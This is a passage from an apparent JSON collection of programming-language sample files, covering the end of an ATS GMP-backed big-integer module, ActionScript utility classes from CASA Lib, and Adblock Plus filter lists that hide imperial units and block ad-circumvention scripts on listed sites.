[if]\n//\nend (* end of [div_intinf0_int] *)\n\nimplement{}\ndiv_intinf1_int\n  {i,j} (x, y) = let\n//\nval z = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init (!(z.2))\n//\nin\n//\nif y >= 0 then let\n  val () = $GMP.mpz_tdiv3_q_uint (!(z.2), !(x.2), i2u(y)) in z\nend else let\n  val () = $GMP.mpz_tdiv3_q_uint (!(z.2), !(x.2), i2u(~y)) in neg_intinf0 (z)\nend // end of [if]\n//\nend (* end of [div_intinf1_int] *)\n\n(* ****** ****** *)\n\nimplement{}\ndiv_intinf0_intinf1\n  (x, y) = (x) where\n{\n//\nval () = $GMP.mpz_tdiv2_q_mpz (!(x.2), !(y.2))\n//\n} (* end of [div_intinf0_intinf1] *)\n\n(* ****** ****** *)\n\nimplement{}\ndiv_intinf1_intinf1\n  (x, y) = (z) where\n{\n//\nval z = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init (!(z.2))\nval () = $GMP.mpz_tdiv3_q_mpz (!(z.2), !(x.2), !(y.2))\n//\n} (* end of [div_intinf1_intinf1] *)\n\n(* ****** ****** *)\n\nimplement{}\nndiv_intinf0_int (x, y) = div_intinf0_int (x, y)\nimplement{}\nndiv_intinf1_int (x, y) = div_intinf1_int (x, y)\n\n(* ****** ****** *)\n\nimplement{}\nnmod_intinf0_int\n  {i,j} (x, y) = let\n//\nval r =\n  $GMP.mpz_fdiv_uint (!(x.2), i2u(y))\nval () = intinf_free (x)\n//\nin\n  $UN.cast{intBtw(0,j)}(r)\nend (* end of [nmod_intinf0_int] *)\n\nimplement{}\nnmod_intinf1_int\n  {i,j} (x, y) = let\n//\nval r = $GMP.mpz_fdiv_uint (!(x.2), i2u(y))\n//\nin\n  $UN.cast{intBtw(0,j)}(r)\nend (* end of [nmod_intinf1_int] *)\n\n(* ****** ****** *)\n//\n// comparison-functions\n//\n(* ****** ****** *)\n\nimplement{}\nlt_intinf_int\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_int (!(x.2), y)\nval ans = (if sgn < 0 then true else false): bool\n//\nin\n  $UN.cast{bool(i < j)}(sgn)\nend // end of [lt_intinf_int]\n\nimplement{}\nlt_intinf_intinf\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_mpz (!(x.2), !(y.2))\nval ans = (if sgn < 0 then true else false): bool\n//\nin\n  $UN.cast{bool(i < j)}(sgn)\nend // end of [lt_intinf_intinf]\n\n(* ****** ****** *)\n\nimplement{}\nlte_intinf_int\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_int (!(x.2), y)\nval ans = (if sgn <= 0 then true else false): bool\n//\nin\n  $UN.cast{bool(i <= j)}(sgn)\nend // end of [lte_intinf_int]\n\nimplement{}\nlte_intinf_intinf\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_mpz (!(x.2), !(y.2))\nval ans = (if sgn <= 0 then true else false): bool\n//\nin\n  $UN.cast{bool(i <= j)}(sgn)\nend // end of [lte_intinf_intinf]\n\n(* ****** ****** *)\n\nimplement{}\ngt_intinf_int\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_int (!(x.2), y)\nval ans = (if sgn > 0 then true else false): bool\n//\nin\n  $UN.cast{bool(i > j)}(sgn)\nend // end of [gt_intinf_int]\n\nimplement{}\ngt_intinf_intinf\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_mpz (!(x.2), !(y.2))\nval ans = (if sgn > 0 then true else false): bool\n//\nin\n  $UN.cast{bool(i > j)}(sgn)\nend // end of [gt_intinf_intinf]\n\n(* ****** ****** *)\n\nimplement{}\ngte_intinf_int\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_int (!(x.2), y)\nval ans = (if sgn >= 0 then true else false): bool\n//\nin\n  $UN.cast{bool(i >= j)}(sgn)\nend // end of [gte_intinf_int]\n\nimplement{}\ngte_intinf_intinf\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_mpz (!(x.2), !(y.2))\nval ans = (if sgn >= 0 then true else false): bool\n//\nin\n  $UN.cast{bool(i >= j)}(sgn)\nend // end of [gte_intinf_intinf]\n\n(* ****** ****** *)\n\nimplement{}\neq_intinf_int\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_int (!(x.2), y)\nval ans = (if sgn = 0 then true else false): bool\n//\nin\n  $UN.cast{bool(i == j)}(sgn)\nend // end of [eq_intinf_int]\n\nimplement{}\neq_intinf_intinf\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_mpz (!(x.2), !(y.2))\nval ans = (if sgn = 0 then true else false): bool\n//\nin\n  $UN.cast{bool(i == j)}(sgn)\nend // end of [eq_intinf_intinf]\n\n(* ****** ****** *)\n\nimplement{}\nneq_intinf_int\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_int (!(x.2), y)\nval ans = (if sgn != 0 then true else false): bool\n//\nin\n  $UN.cast{bool(i != j)}(sgn)\nend // end of [neq_intinf_int]\n\nimplement{}\nneq_intinf_intinf\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_mpz (!(x.2), !(y.2))\nval ans = (if sgn != 0 then true else false): bool\n//\nin\n  $UN.cast{bool(i != j)}(sgn)\nend // end of [neq_intinf_intinf]\n\n(* ****** ****** *)\n\nimplement{}\ncompare_intinf_int\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_int (!(x.2), y)\nval sgn = (if sgn < 0 then ~1 else (if sgn > 0 then 1 else 0)): int\n//\nin\n  $UN.cast{int(sgn(i-j))}(sgn)\nend // end of [compare_intinf_int]\n\nimplement{}\ncompare_int_intinf\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_int (!(y.2), x)\nval sgn = (if sgn > 0 then ~1 else (if sgn < 0 then 1 else 0)): int\n//\nin\n  $UN.cast{int(sgn(i-j))}(sgn)\nend // end of [compare_int_intinf]\n\nimplement{}\ncompare_intinf_intinf\n  {i,j} (x, y) = let\n//\nval sgn = $GMP.mpz_cmp_mpz (!(x.2), !(y.2))\nval sgn = (if sgn < 0 then ~1 else (if sgn > 0 then 1 else 0)): int\n//\nin\n  $UN.cast{int(sgn(i-j))}(sgn)\nend // end of [compare_intinf_intinf]\n\n(* ****** ****** *)\n\nimplement{}\npow_intinf_int\n  (base, exp) = r where\n{\n//\nval r = ptr_alloc<mpz> ()\nval () = $GMP.mpz_init (!(r.2))\nval () = $GMP.mpz_pow_uint (!(r.2), !(base.2), i2u(exp))\n//\n} (* end of [pow_intinf_int] *)\n\n(* ****** ****** *)\n\nend // end of [local]\n\n(* ****** ****** *)\n\nimplement{}\nprint_intinf (x) = fprint_intinf (stdout_ref, x)\nimplement{}\nprerr_intinf (x) = fprint_intinf (stderr_ref, x)\nimplement{}\nfprint_intinf (out, x) = fprint_intinf_base (out, x, 10(*base*))\n\n(* ****** ****** *)\n\n(* end of [intinf_vt.dats] *)\n"
  },
  {
    "path": "samples/ActionScript/FooBar.as",
    "content": "// A sample for Actionscript.\n\npackage foobar\n{\n\timport flash.display.MovieClip;\n\n\tclass Bar\n\t{\n\t\tpublic function getNumber():Number\n\t\t{\n\t\t\treturn 10;\n\t\t}\n\t}\n\n\tclass Foo extends Bar\n\t{\n\t\tprivate var ourNumber:Number = 25;\n\n\t\toverride public function getNumber():Number\n\t\t{\n\t\t\treturn ourNumber;\n\t\t}\n\t}\n\n\tclass Main extends MovieClip\n\t{\n\t\tpublic function Main()\n\t\t{\n\t\t\tvar x:Bar = new Bar();\n\t\t\tvar y:Foo = new Foo();\n\t\t\ttrace(x.getNumber());\n\t\t\ttrace(y.getNumber());\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "samples/ActionScript/HelloWorld.as",
    "content": "package mypackage\n{\n\tpublic class Hello\n\t{\n\t\t/* Let's say hello!\n\t\t * This is just a test script for Linguist's Actionscript detection.\n\t\t */\n\t\tpublic function sayHello():void\n\t\t{\n\t\t\ttrace(\"Hello, world\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "samples/ActionScript/NumberUtil.as",
    "content": "// https://github.com/aaronclinger/casalib/blob/a948190f3c9f781dfb1420fb24d36e7c1deeacf8/AS2/code/org/casalib/util/NumberUtil.as\n\n/*\n\tCASA Lib for ActionScript 2.0\n\tCopyright (c) 2008, Aaron Clinger & Contributors of CASA Lib\n\tAll rights reserved.\n\t\n\tRedistribution and use in source and binary forms, with or without\n\tmodification, are permitted provided that the following conditions are met:\n\t\n\t- Redistributions of source code must retain the above copyright notice,\n\t  this list of conditions and the following disclaimer.\n\t\n\t- Redistributions in binary form must reproduce the above copyright notice,\n\t  this list of conditions and the following disclaimer in the documentation\n\t  and/or other materials provided with the distribution.\n\t\n\t- Neither the name of the CASA Lib nor the names of its contributors\n\t  may be used to endorse or promote products derived from this software\n\t  without specific prior written permission.\n\t\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\tAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\tIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\tARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\tLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\tCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\tSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\tINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\tCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\tARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\tPOSSIBILITY OF SUCH DAMAGE.\n*/\n\n/**\n\t@author Aaron Clinger\n\t@author David Nelson\n\t@version 08/24/07\n*/\n\nclass org.casalib.util.NumberUtil {\n\t\n\t/**\n\t\tEvaluates <code>val1</code> and <code>val2</code> and returns the smaller value. Unlike <code>Math.min</code> this method will return the defined value if the other value is <code>undefined</code>.\n\t\t\n\t\t@param val1: A number or expression to compare.\n\t\t@param val2: A number or expression to compare.\n\t\t@return Returns the smallest value, or the value out of the two that is defined.\n\t*/\n\tpublic static function min(val1:Number, val2:Number):Number {\n\t\tif (val1 == undefined || val2 == undefined)\n\t\t\treturn (val2 == undefined) ? val1 : val2;\n\t\t\n\t\treturn Math.min(val1, val2);\n\t}\n\t\n\t/**\n\t\tEvaluates <code>val1</code> and <code>val2</code> and returns the larger value. Unlike <code>Math.max</code> this method will return the defined value if the other value is <code>undefined</code>.\n\t\t\n\t\t@param val1: A number or expression to compare.\n\t\t@param val2: A number or expression to compare.\n\t\t@return Returns the largest value, or the value out of the two that is defined.\n\t*/\n\tpublic static function max(val1:Number, val2:Number):Number {\n\t\tif (val1 == undefined || val2 == undefined) \n\t\t\treturn (val2 == undefined) ? val1 : val2;\n\t\t\n\t\treturn Math.max(val1, val2);\n\t}\n\t\n\t/**\n\t\tCreates a random integer within the defined range.\n\t\t\n\t\t@param min: The minimum number the random integer can be.\n\t\t@param min: The maximum number the random integer can be.\n\t\t@return Returns a random integer within the range.\n\t*/\n\tpublic static function randomInteger(min:Number, max:Number):Number {\n\t\treturn min + Math.floor(Math.random() * (max + 1 - min));\n\t}\n\t\n\t/**\n\t\tDetermines if the number is even.\n\t\t\n\t\t@param num: A number to determine if it is divisible by <code>2</code>.\n\t\t@return Returns <code>true</code> if the number is even; otherwise <code>false</code>.\n\t*/\n\tpublic static function isEven(num:Number):Boolean {\n\t\treturn (num & 1) == 0;\n\t}\n\t\n\t/**\n\t\tDetermines if the number is odd.\n\t\t\n\t\t@param num: A number to determine if it is not divisible by <code>2</code>.\n\t\t@return Returns <code>true</code> if the number is odd; otherwise <code>false</code>.\n\t*/\n\tpublic static function isOdd(num:Number):Boolean {\n\t\treturn !NumberUtil.isEven(num);\n\t}\n\t\n\t/**\n\t\tDetermines if the number is an integer.\n\t\t\n\t\t@param num: A number to determine if it contains no decimal values.\n\t\t@return Returns <code>true</code> if the number is an integer; otherwise <code>false</code>.\n\t*/\n\tpublic static function isInteger(num:Number):Boolean {\n\t\treturn (num % 1) == 0;\n\t}\n\t\n\t/**\n\t\tDetermines if the number is prime.\n\t\t\n\t\t@param num: A number to determine if it is only divisible by 1 and itself.\n\t\t@return Returns <code>true</code> if the number is prime; otherwise <code>false</code>.\n\t*/\n\tpublic static function isPrime(num:Number):Boolean {\n\t\tif (num == 1 || num == 2)\n\t\t\treturn true;\n\t\t\n\t\tif (NumberUtil.isEven(num))\n\t\t\treturn false;\n\t\t\n\t\tvar s:Number = Math.sqrt(num);\n\t\tfor (var i:Number = 3; i <= s; i++)\n\t\t\tif (num % i == 0)\n\t\t\t\treturn false;\n\t\t\n\t\treturn true;\n\t}\n\t\n\t/**\n\t\tRounds a number's decimal value to a specific place.\n\t\t\n\t\t@param num: The number to round.\n\t\t@param place: The decimal place to round.\n\t\t@return Returns the value rounded to the defined place. \n\t\t@example\n\t\t\t<code>\n\t\t\t\ttrace(NumberUtil.roundToPlace(3.14159, 2)); // Traces 3.14\n\t\t\t\ttrace(NumberUtil.roundToPlace(3.14159, 3)); // Traces 3.142\n\t\t\t</code>\n\t*/\n\tpublic static function roundDecimalToPlace(num:Number, place:Number):Number {\n\t\tvar p:Number = Math.pow(10, Math.round(place));\n\t\t\n\t\treturn Math.round(num * p) / p;\n\t}\n\t\n\t/**\n\t\tDetermines if the value is included within a range.\n\t\t\n\t\t@param num: Number to determine if it's included in the range.\n\t\t@param startValue: First value of the range.\n\t\t@param endValue: Second value of the range.\n\t\t@return Returns <code>true</code> if the number falls within the range; otherwise <code>false</code>.\n\t*/\n\tpublic static function isBetween(num:Number, startValue:Number, endValue:Number):Boolean {\n\t\treturn !(num < Math.min(startValue, endValue) || num > Math.max(startValue, endValue));\n\t}\n\t\n\t/**\n\t\tDetermines if value falls within a range; if not it is snapped to the nearest range value.\n\t\t\n\t\t@param num: Number to determine if it's included in the range.\n\t\t@param startValue: First value of the range.\n\t\t@param endValue: Second value of the range.\n\t\t@return Returns either the number as passed, or its value once snapped to nearest range value.\n\t*/\n\tpublic static function makeBetween(num:Number, startValue:Number, endValue:Number):Number {\n\t\treturn Math.min(Math.max(num, Math.min(startValue, endValue)), Math.max(startValue, endValue));\n\t}\n\t\n\t/**\n\t\tCreates evenly spaced numerical increments between two numbers.\n\t\t\n\t\t@param begin: The starting value.\n\t\t@param end: The ending value.\n\t\t@param steps: The number of increments between the starting and ending values.\n\t\t@return Returns an Array comprised of the increments between the two values.\n\t\t@example\n\t\t\t<code>\n\t\t\t\ttrace(NumberUtil.createStepsBetween(0, 5, 4)); // Traces 1,2,3,4\n\t\t\t\ttrace(NumberUtil.createStepsBetween(1, 3, 3)); // Traces 1.5,2,2.5\n\t\t\t</code>\n\t*/\n\tpublic static function createStepsBetween(begin:Number, end:Number, steps:Number): /*Number*/ Array {\n\t\tsteps++;\n\t\t\n\t\tvar i:Number = 0;\n\t\tvar stepsBetween: /*Number*/ Array = new Array();\n\t\tvar increment:Number = (end - begin) / steps;\n\t\t\n\t\twhile (++i < steps)\n\t\t\tstepsBetween.push((i * increment) + begin);\n\t\t\n\t\treturn stepsBetween;\n\t}\n\t\n\t/**\n\t\tFormats a number.\n\t\t\n\t\t@param numberToFormat: The number you wish to format.\n\t\t@param minLength: The minimum length of the number.\n\t\t@param thouDelim: <strong>[optional]</strong> The character used to seperate thousands; defaults to none.\n\t\t@param fillChar: <strong>[optional]</strong> The leading character used to make the number the minimum length; defaults to <code>0</code>.\n\t\t@return Returns the formated number as a String.\n\t\t@example\n\t\t\t<code>\n\t\t\t\ttrace(NumberUtil.format(1234567, 8, \",\")); // Traces 01,234,567\n\t\t\t</code>\n\t*/\n\tpublic static function format(numberToFormat:Number, minLength:Number, thouDelim:String, fillChar:String):String {\n\t\tvar num:String = numberToFormat.toString();\n\t\tvar len:Number = num.length;\n\t\t\n\t\tif (thouDelim != undefined) {\n\t\t\tvar numSplit:Array = num.split('');\n\t\t\tvar counter:Number = 3;\n\t\t\tvar i:Number       = numSplit.length;\n\t\t\t\n\t\t\twhile (--i > 0) {\n\t\t\t\tcounter--;\n\t\t\t\tif (counter == 0) {\n\t\t\t\t\tcounter = 3;\n\t\t\t\t\tnumSplit.splice(i, 0, thouDelim);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tnum = numSplit.join('');\n\t\t}\n\t\t\n\t\tif (minLength != undefined) {\n\t\t\tif (len < minLength) {\n\t\t\t\tminLength -= len;\n\t\t\t\t\n\t\t\t\tvar addChar:String = (fillChar == undefined) ? '0' : fillChar;\n\t\t\t\t\n\t\t\t\twhile (minLength--)\n\t\t\t\t\tnum = addChar + num;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn num;\n\t}\n\t\n\t/**\n\t\tFinds the English ordinal suffix for the number given.\n\t\t\n\t\t@param num: Number to find the ordinal suffix of.\n\t\t@return Returns the suffix for the number, 2 characters.\n\t\t@example\n\t\t\t<code>\n\t\t\t\ttrace(32 + NumberUtil.getOrdinalSuffix(32)); // Traces 32nd\n\t\t\t</code>\n\t*/\n\tpublic static function getOrdinalSuffix(num:Number):String {\n\t\tif (num >= 10 && num <= 20)\n\t\t\treturn 'th';\n\t\t\t\n\t\tswitch (num % 10) {\n\t\t\tcase 0 :\n\t\t\tcase 4 :\n\t\t\tcase 5 :\n\t\t\tcase 6 :\n\t\t\tcase 7 :\n\t\t\tcase 8 :\n\t\t\tcase 9 :\n\t\t\t\treturn 'th';\n\t\t\tcase 3 :\n\t\t\t\treturn 'rd';\n\t\t\tcase 2 :\n\t\t\t\treturn 'nd';\n\t\t\tcase 1 :\n\t\t\t\treturn 'st';\n\t\t}\n\t}\n\t\n\t/**\n\t\tAdds a leading zero for numbers less than ten.\n\t\t\n\t\t@param num: Number to add leading zero.\n\t\t@return Number as a String; if the number was less than ten the number will have a leading zero.\n\t*/\n\tpublic static function addLeadingZero(num:Number):String {\n\t\treturn (num < 10) ? '0' + num : num.toString();\n\t}\n\t\n\tprivate function NumberUtil() {} // Prevents instance creation\n}"
  },
  {
    "path": "samples/ActionScript/TextFieldUtil.as",
    "content": "// https://github.com/aaronclinger/casalib/blob/a948190f3c9f781dfb1420fb24d36e7c1deeacf8/AS2/code/org/casalib/util/TextFieldUtil.as\n\n/*\n\tCASA Lib for ActionScript 2.0\n\tCopyright (c) 2008, Aaron Clinger & Contributors of CASA Lib\n\tAll rights reserved.\n\t\n\tRedistribution and use in source and binary forms, with or without\n\tmodification, are permitted provided that the following conditions are met:\n\t\n\t- Redistributions of source code must retain the above copyright notice,\n\t  this list of conditions and the following disclaimer.\n\t\n\t- Redistributions in binary form must reproduce the above copyright notice,\n\t  this list of conditions and the following disclaimer in the documentation\n\t  and/or other materials provided with the distribution.\n\t\n\t- Neither the name of the CASA Lib nor the names of its contributors\n\t  may be used to endorse or promote products derived from this software\n\t  without specific prior written permission.\n\t\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\tAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\tIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\tARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\tLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\tCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\tSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\tINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\tCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\tARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\tPOSSIBILITY OF SUCH DAMAGE.\n*/\n\n/**\n\t@author Aaron Clinger\n\t@author Mike Creighton\n\t@version 08/02/07\n*/\n\nclass org.casalib.util.TextFieldUtil {\n\t\n\t/**\n\t\tDetermines if textfield has more text than can be displayed at once.\n\t\t\n\t\t@param target_txt: Textfield or {@link CoreTextField} to check for text overflow.\n\t\t@return Returns <code>true</code> if textfield has overflow text; otherwise <code>false</code>.\n\t*/\n\tpublic static function hasOverFlow(target_txt:Object):Boolean {\n\t\treturn target_txt.maxscroll > 1;\n\t}\n\t\n\t/**\n\t\tRemoves text overflow on a plain text textfield with the option of an ommission indicator.\n\t\t\n\t\t@param target_txt: Textfield or {@link CoreTextField} to remove overflow.\n\t\t@param omissionIndicator: <strong>[optional]</strong> Text indication that an omission has occured; normally <code>\"...\"</code>; defaults to no indication.\n\t\t@return Returns the omitted text; if there was no text ommitted function returns a empty String (<code>\"\"</code>).\n\t*/\n\tpublic static function removeOverFlow(target_txt:Object, omissionIndicator:String):String {\n\t\tif (!TextFieldUtil.hasOverFlow(target_txt))\n\t\t\treturn '';\n\t\t\n\t\tif (omissionIndicator == undefined)\n\t\t\tomissionIndicator = '';\n\t\t\n\t\tvar originalCopy:String        = target_txt.text;\n\t\tvar lines:Array                = target_txt.text.split('. ');\n\t\tvar isStillOverflowing:Boolean = false;\n\t\tvar words:Array;\n\t\tvar lastSentence:String;\n\t\tvar sentences:String;\n\t\tvar overFlow:String;\n\t\t\n\t\twhile (TextFieldUtil.hasOverFlow(target_txt)) {\n\t\t\tlastSentence    = String(lines.pop());\n\t\t\ttarget_txt.text = (lines.length == 0) ? '' : lines.join('. ') + '. ';\n\t\t}\n\t\t\n\t\tsentences         = (lines.length == 0) ? '' : lines.join('. ') + '. ';\n\t\twords             = lastSentence.split(' ');\n\t\ttarget_txt.text  += lastSentence;\n\t\t\n\t\twhile (TextFieldUtil.hasOverFlow(target_txt)) {\n\t\t\tif (words.length == 0) {\n\t\t\t\tisStillOverflowing = true;\n\t\t\t\tbreak;\n\t\t\t} else {\n\t\t\t\twords.pop();\n\t\t\t\t\n\t\t\t\tif (words.length == 0)\n\t\t\t\t\ttarget_txt.text = sentences.substr(0, -1) + omissionIndicator;\n\t\t\t\telse\n\t\t\t\t\ttarget_txt.text = sentences + words.join(' ') + omissionIndicator;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (isStillOverflowing) {\n\t\t\twords = target_txt.text.split(' ');\n\t\t\t\n\t\t\twhile (TextFieldUtil.hasOverFlow(target_txt)) {\n\t\t\t\twords.pop();\n\t\t\t\ttarget_txt.text = words.join(' ') + omissionIndicator;\n\t\t\t}\n\t\t}\n\t\t\n\t\toverFlow = originalCopy.substring(target_txt.text.length);\n\t\t\n\t\treturn (overFlow.charAt(0) == ' ') ? overFlow.substring(1) : overFlow;\n\t}\n\t\n\tprivate function TextFieldUtil() {} // Prevents instance creation\n}\n"
  },
  {
    "path": "samples/Adblock Filter List/Imperial Units Remover.txt",
    "content": "[Adblock Plus 3.13]\n! Title: 📏 Imperial Units Remover\n! Version: 23May2022v1-Alpha\n! Expires: 10 days\n! Description: Are you pro-metric and are tired of seeing imperial unites all over the English-language parts of the internet? If so, then here's a list for you.\n! Homepage: https://github.com/DandelionSprout/adfilt/blob/master/Wiki/General-info.md#english\n\n! Removing miles from dual-unit distance measurements in Google Maps (uBO and AdGuard only)\ngoogle.*##html[lang$=US] #ruler span:first-of-type\ngoogle.*##html[lang=en] #ruler span:first-of-type\ngoogle.*##html:not([lang$=US], [lang=en]) #ruler span:nth-of-type(2)\n\n! Removes imperial measurements from multi-unit displays\nweather.gov###myfcst-tempf\nweather.gov#?#p[class^=myforecast-current-]:has-text(°F)\nholiday-weather.com#?#.temperature_data_container > :has-text(°F)\nholiday-weather.com#?#.distance_data_container > :has-text(miles)\nlematin.ma##.meteo-bloc span\nsveip.no##.wmsb_f\ngismeteo.de##.ifnoie\n"
  },
  {
    "path": "samples/Adblock Filter List/abp-filters-anti-cv.txt",
    "content": "[Adblock Plus 3.1]\n! Checksum: i7lcTV9/kkiE8g3aav4y/g\n! Version: 202208071141\n! Title: ABP filters\n! Last modified: 07 Aug 2022 11:41 UTC\n! Expires: 1 hours (update frequency)\n! Homepage: https://github.com/abp-filters/abp-filters-anti-cv\n!\n! Filter list designed to fight circumvention ads (including, in some cases, their tracking) and fix critical issues for Adblock Plus users\n!\n! Please report any issues\n! on GitHub https://github.com/abp-filters/abp-filters-anti-cv/issues\n! or via filters+cv@adblockplus.org\n!\n! *** abp-filters-anti-cv:arabic.txt ***\n! MISC\n3sk.io,3sk.co,33sk.tv,esheeq.co#$#abort-on-property-read atob; abort-on-property-write Fingerprint2; abort-on-property-read decodeURIComponent; abort-on-property-read RegExp\n3oloum.com,7olm.org,ahladalil.com,syriaforums.net,ahlamontada.com,alamontada.com,arabepro.com,banouta.net,gid3an.com,jordanforum.net,yoo7.com,forumalgerie.net,own0.com##a[onclick^=\"this.href=atob\"]\n3oloum.com,7olm.org,ahladalil.com,syriaforums.net,ahlamontada.com,alamontada.com,arabepro.com,banouta.net,gid3an.com,jordanforum.net,yoo7.com,forumalgerie.net,own0.com#$#abort-on-property-read atob\n! #CV-685\narabseed.co,arabseed.com,arabseed.me,arabseed.net,arabseed.tv#$#abort-on-property-read atob; abort-on-property-read decodeURI; abort-on-property-read decodeURIComponent\nhawak.net,hawak.tv,rotana.video#$#abort-on-property-read atob\n! #CV-667\nbeinconnect.us,coroot.blogspot.com,ktarab.com,shofnow.com,actionz.tv,brstej.com,jaewinter.co,movs4u.live,mvs4u.tv,kora-online.tv,filmey.tv,animetak.net,arabseed.tv,arabseed.co,arabseed.com,arabseed.me,arabseed.net,shahid4u.com,shahid4u.net#$#abort-current-inline-script Math zfgloaded\n! Popup/Popunder/Clickunder\negyanime.com,egydead.com,egydead.live#$#abort-on-property-write _pop\nactionz.tv,cimaclub.com,cimaclub.in,elmstba.com,hawak.net,hawak.tv,lodynet.co,lodynet.dev,lodynet.ink,lodynet.tv,rotana.video#$#abort-on-property-read decodeURIComponent\negy.best,egybest.asia,egybest.bid,egybest.biz,egybest.cheap,egybest.co,egybest.com,egybest.cool,egybest.fail,egybest.life,egybest.ltd,egybest.ist,egybest.name,egybest.net,egybest.network,egybest.ninja,egybest.nl,egybest.online,egybest.org,egybest.pw,egybest.rocks,egybest.site,egybest.xyz,egybest.zone,egybest2.com,iegy.best#$#abort-on-property-read open\nakhbara24.news,anime4up.art,anime4up.com,arabseed.me,asia2tv.cn,asia2tv.com,baramjak.com,cima-club.cc,cima-club.in,cima-club.io,cima-club.lol,cima-club.vip,cima4u.cloud,cima4u.film,cima4u.ink,cima4u.tv,cima4u.ws,cimalina.me,cimalina.net,egy-live.online,egynow.cam,egynow.live,hawak.net,iegybest.co,lodynet.co,lodynet.dev,lodynet.ink,lodynet.tv,manga.ae,moshahda.net,movizland.com,movizland.cyou,movizland.online,egyanime.com,egydead.com,egydead.live,shahed4u.cafe,shahed4u.casa,shahed4u.cloud,shahed4u.mba,shahed4u.red,shahed4u.tips,shahed4u.ws,tuktukcinema.co,tuktukcinema.net,witanime.com,yalla-shoot.today#$#abort-current-inline-script Math /atob|break/; abort-current-inline-script String.fromCharCode /atob|break/; abort-current-inline-script document.documentElement /atob|break|JSON.parse/; abort-on-property-write JSON.parse\narabxd.com#$#abort-current-inline-script document.querySelectorAll popMagic\n! #CV-754\nakwam.cc,akoam.com,akoam.net,akwam.co,akwam.cx,akwam.net,akwam.org,gateanime.com,gocoo.co#$#abort-on-property-read String.fromCharCode\n! *** abp-filters-anti-cv:bulgarian.txt ***\n! #CV-667\ngledaiseriali.net#$#abort-current-inline-script Math zfgloaded\n! *** abp-filters-anti-cv:chinese.txt ***\n! #CV-767\nipv6.baidu.com,xueshu.baidu.com,www.baidu.com,www1.baidu.com#$#hide-if-contains 广告 .c-container '.f13 > .m'; hide-if-contains 广告 #content_right>[class] span[data-tuiguang]\n1111.baidu.com,bdimg.com,tieba.baidu.com,tieba.com,xingqu.baidu.com#$#abort-on-property-read Object.prototype.loadImage\nbaidu.com#$#hide-if-contains 广告 #content_right>div .ec-tuiguang\nbaidu.com#$#hide-if-contains 广告 #content_left>div .ec-tuiguang\n! MISC\ntorrentkitty.tv#$#abort-on-property-read _fupfgk;abort-on-property-read _nyjdy\n178.com,nga.cn#$#abort-on-property-write __LOAD_BBS_ADS_12\ncn.bing.com#$#hide-if-contains 360 #b_results>li .b_adProvider\n2345.com#$#abort-current-inline-script setDefaultTheme\nahri8.top#$#abort-current-inline-script document.querySelectorAll popMagic\nifenpaidy.com#$#abort-on-property-read localStorage\n! Popups & Popunders\ncocomanga.com#$#abort-on-property-read __cad.cpm_popunder; abort-on-property-read __ad\nmadouqu.com,madouqu.tk#$#abort-current-inline-script document.querySelectorAll popMagic\neditcode.net#$#abort-current-inline-script setTimeout openAd\ntheporn.cc#$#abort-on-property-read is_show_alert_window\n! Video ads\niyingshi9.tv#$#override-property-read YZM.ads.state false\n! #CV-667\nhdzone.org#$#abort-current-inline-script Math zfgloaded\n! *** abp-filters-anti-cv:czech.txt ***\n! #CV-655\niprima.cz,www.seznam.cz,novinky.cz,super.cz,ahaonline.cz,expres.cz,kinobox.cz,horoskopy.cz#$#json-override ads 